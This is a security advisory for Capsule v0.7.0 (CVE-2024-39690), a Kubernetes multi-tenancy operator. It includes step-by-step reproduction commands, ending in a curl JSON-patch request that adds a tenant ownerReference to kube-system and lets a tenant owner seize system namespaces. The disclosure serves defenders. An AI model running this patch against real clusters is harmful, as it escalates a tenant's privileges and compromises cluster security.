Skip to content

A tenant owner with "patch namespace" permission can hijack system namespaces

High
oliverbaehler published GHSA-mq69-4j5w-3qwp Aug 20, 2024

Package

gomod capsule (Go)

Affected versions

v0.7.0

Patched versions

None

Description

Attack Vector

Then, let me briefly explain the reasons for the errors mentioned above: 1. The 'kubectl edit' command was used to patch the namespace, but this operation requires both 'get' and 'patch' permissions, hence the error. One should use methods like 'curl' to directly send a PATCH request; 2. The webhook does not intercept patch operations on 'kube-system' because 'kube-system' does not have an ownerReference.

Below are my detailed reproduction steps

  1. Create a test cluster
    kind create cluster --image=kindest/node:v1.24.15 --name=k8s
  2. Install the capsule
    helm install capsule projectcapsule/capsule -n capsule-system --create-namespace
  3. Create a tenant
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: tenant1
spec:
  owners:
  - name: alice
    kind: User
EOF
  1. Create user alice
./create-user.sh alice tenant1 capsule.clastix.io
export KUBECONFIG=alice-tenant1.kubeconfig
  1. Patch kube-system (The first command is executed in the current shell, while the 2nd and 3rd commands require a different shell window because the current shell is being used as a proxy.)
kubectl proxy

export DATA='[{"op": "add", "path": "/metadata/ownerReferences", "value":[{"apiVersion": "capsule.clastix.io/v1beta2", "blockOwnerDeletion": true, "controller": true, "kind": "Tenant", "name": "tenant1", "uid": "ce3f2296-4aaa-45b0-a8fe-879d5096f193"}]}]'

curl http://localhost:8001/api/v1/namespaces/kube-system/ -X PATCH -d "$DATA" -H "Content-Type: application/json-patch+json"
  1. Check the result
    The kube-system is patched successfully.
    image

Summary

The tenant-owner can patch any arbitrary namespace that has not been taken over by a tenant (i.e., namespaces without the ownerReference field), thereby gaining control of that namespace.

I would like to express my apologies once again. I have always been sincere in my research and communication, and I did not intend to disturb you on purpose.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Adjacent
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

CVE ID

CVE-2024-39690

Weaknesses

No CWEs

Credits